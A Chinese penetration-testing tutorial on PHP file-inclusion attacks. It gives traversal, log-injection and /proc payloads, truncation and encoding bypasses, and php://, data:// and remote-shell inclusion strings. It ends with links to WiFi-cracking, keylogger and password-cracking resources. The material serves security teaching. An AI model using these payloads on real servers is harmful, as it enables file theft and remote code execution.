【渗透测试】—如何利用文件包含的方式进行攻击
目录
4.9. 文件包含
4.9.1. 基础
4.9.2. 触发Sink
4.9.3. 绕过技巧
4.9.3.1. url编码绕过
4.9.3.2. 特殊字符绕过
4.9.3.3. %00截断
4.9.3.4. 长度截断
4.9.3.5. 伪协议绕过
4.9.3.6. 协议绕过
4.9. 文件包含
4.9.1. 基础
常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?>
考虑常用的几种包含方式为
- 同目录包含
file=.htaccess
- 目录遍历
?file=../../../../../../../../../var/lib/locate.db
- 日志注入
?file=../../../../../../../../../var/log/apache/error.log
- 利用
/proc/self/environ
其中日志可以使用SSH日志或者Web日志等多种日志来源测试
4.9.2. 触发Sink
PHPinclude在包含过程中出错会报错,不影响执行后续语句include_once仅包含一次require在包含过程中出错,就会直接退出,不执行后续语句require_once
4.9.3. 绕过技巧
常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式
4.9.3.1. url编码绕过
如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过
4.9.3.2. 特殊字符绕过
某些情况下,读文件支持使用Shell通配符,如 ? * 等 url中 使用 ? # 可能会影响include包含的结果 某些情况下,unicode编码不同但是字形相近的字符有同一个效果
4.9.3.3. %00截断
几乎是最常用的方法,条件是 magic_quotes_gpc
关闭,而且php版本小于5.3.4。
4.9.3.4. 长度截断
Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。
msdn定义 #define MAX_PATH 260
,其中第260个字符为字符串结尾的 \0
,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。
获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255
那么在长度有限的时候,././././
(n个) 的形式就可以通过这个把路径爆掉
在php代码包含中,这种绕过方式要求php版本 < php 5.2.8
4.9.3.5. 伪协议绕过
远程包含: 要求 allow_url_fopen=On 且 allow_url_include=On ,
payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt 的形式PHP input: 把payload放在POST参数中作为包含的文件,
要求 allow_url_include=On ,payload为 ?file=php://input 的形式Base64: 使用Base64伪协议读取文件,
payload为 ?file=php://filter/convert.base64-encode/resource=index.php 的形式data: 使用data伪协议读取文件,
payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 的形式,
要求 allow_url_include=On
4.9.3.6. 协议绕过
allow_url_fopen 和 allow_url_include 主要是针对 http ftp 两种协议起作用,因此可以使用SMB、WebDav协议等方式来绕过限制。
推荐阅读
【python实战】前女友婚礼,python破解婚礼现场的WIFI,把名称改成了
【python实战】前女友发来加密的 “520快乐.pdf“,我用python破解开之后,却发现
【python实战】python你TM太皮了——区区30行代码就能记录键盘的一举一动
【python实战】女神相册密码忘记了,我只用Python写了20行代码~~~
pygame系列文章
一起来学pygame吧 游戏开发30例(二)——塔防游戏
一起来学pygame吧 游戏开发30例(四)——俄罗斯方块小游戏
一起来学pygame吧 游戏开发30例(五)——消消乐 小游戏
pygame游戏26个案例及源码【共400M】_pygame游戏作品,pygame游戏源码-Python文档类资源-CSDN下载
【前女友发来加密的“520快乐.pdf“,我用python破解开】完整脚本_python怎么破解pdf密码-Python文档类资源-CSDN下载
女友晚安之后依然在线:python男友用20行代码写了个小工具_啪啪自拍-Python文档类资源-CSDN下载
python定位照片精确位置完整代码脚本-Python文档类资源-CSDN下载
渗透测试相关工具
brutecrack工具[WIFIPR中文版]及wpa/wpa2字典-其它文档类资源-CSDN下载
【kali常用工具】inssider信号测试软件_kali常用工具_inSSIDer-网管软件文档类资源-CSDN下载
【kali常用工具】MAC地址修改工具保护终端不暴露-Linux文档类资源-CSDN下载
脚本管理工具php和jsp页面接收命令参数在服务器端执行-网络安全文档类资源-CSDN下载
上网行为工具_常用密码破译工具讲解与实战-网络安全文档类资源-CSDN下载
抓包工具CharlesWindows64位免费版_常用密码破译工具讲解与实战-网络监控文档类资源-CSDN下载
【渗透测试】—如何利用文件包含的方式进行攻击相关推荐
- Kali 渗透测试:利用HTA文件进行渗透攻击
Kali 渗透测试:利用HTA文件进行渗透攻击 由于浏览器安全技术发展很快,很多时候面对一些安全的浏览器(就是暂时没有发现漏洞的浏览器), 这时通常需要选择一种不需要依赖漏洞的手段,这种手段看起来是个 ...
- 渗透测试漏洞利用入门总结
渗透测试漏洞利用入门总结 漏洞利用 利用medusa获得远程服务的访问权限. 这些服务包括ssh.telnet.ftp.pc anywhere .vnc 对这些服务进行爆破的工具分别是medusa 和 ...
- Kali渗透测试:使用Metasploit对Web应用的攻击
Kali渗透测试:使用Metasploit对Web应用的攻击 Web应用程序的漏洞数量众多,这里我们以其中一个命令注入漏洞为例复现一下.这种漏洞源于Web应用程序没有对用户输入的内容进行准确的验证,从 ...
- 【愚公系列】2023年05月 网络安全高级班 071.WEB渗透与安全(文件包含漏洞原理利用防御)
文章目录 前言 一.文件包含漏洞原理利用防御 1.原理 1.1 简介 1.2 分类 1.3 代码 1.3.1 shell语句 1.3.2 包含语句 2.渗透 2.1 低安全级别 2.1.1 本地文件包 ...
- 渗透测试中的文件传输技巧
目录 搭建 HTTP server Python PHP 5.4+ Ruby Ruby 1.9.2+ Perl busybox httpd Download files from HTTP serve ...
- 渗透测试另类利用社会工程学
社会工程学和前端安全.古典的社会工程学攻击案例:社会工程师利用人们的好奇心,或者贪图便宜的心理,让某人捡起不小心丢下的USB,在好奇心的驱使下,该人将该USB插入自己的计算机,打开带后门的PDF文件, ...
- php伪协议漏洞_php伪协议利用文件包含漏洞
php支持多种封装协议,这些协议常被CTF出题中与文件包含漏洞结合,这里做个小总结.实验用的是DVWA平台,low级别,phpstudy中的设置为5.4.45版本 设置allow_url_fopen和 ...
- BTS测试实验室--远程文件包含和服务器端注入攻略
远程文件包含 构造payload:http://127.0.0.1/btslab/vulnerability/rfi/RFI.php?file=http://192.168.1.129/test2/d ...
- Kali Linux 无线渗透测试入门指南 第七章 高级 WLAN 攻击
第七章 高级 WLAN 攻击 作者:Vivek Ramachandran, Cameron Buchanan 译者:飞龙 协议:CC BY-NC-SA 4.0 简介 知己知彼,百战不殆. 孙子,< ...
最新文章
- 如何在O(1)的时间里删除单链表的结点
- mutex的加锁与解锁问题
- python queue 调试_python:如何创建用于调试的持久内存结构
- Java程序员如何在编码中减少bug存在
- SpringMVC自动配置
- WPF TextBox 正则验证 大于等于0 小于等于1 的两位小数
- 继淘宝特价版之后 闲鱼已向微信提交小程序申请
- java基础练习 2
- android alsa,android下alsa驱动alsa_arecord录音问题
- CString的成员函数用法大全
- 解决eclipse为什么不能查看源码
- 学python前端需要哪些基础知识_简析前端学习python3的基础
- 使用iftop监控网卡实时流量
- ASP.Net Core Web Api在Windows服务器上部署
- c语言提取质心坐标,求图像质心的C语言实现
- 如何让音乐软件的歌词在touch bar上面显示?
- win10无法访问linux共享服务器,Win10无法访问NAS或Linux网络共享的处理方法
- 制作一个私有的docker habor仓库
- 未连接到互联网 代理服务器出现问题,或者地址有误。
- 上传照片显示服务器繁忙怎么回事,解决WordPress上传图片“图像后期处理失败,可能是服务器忙或没有足够的资源”问题...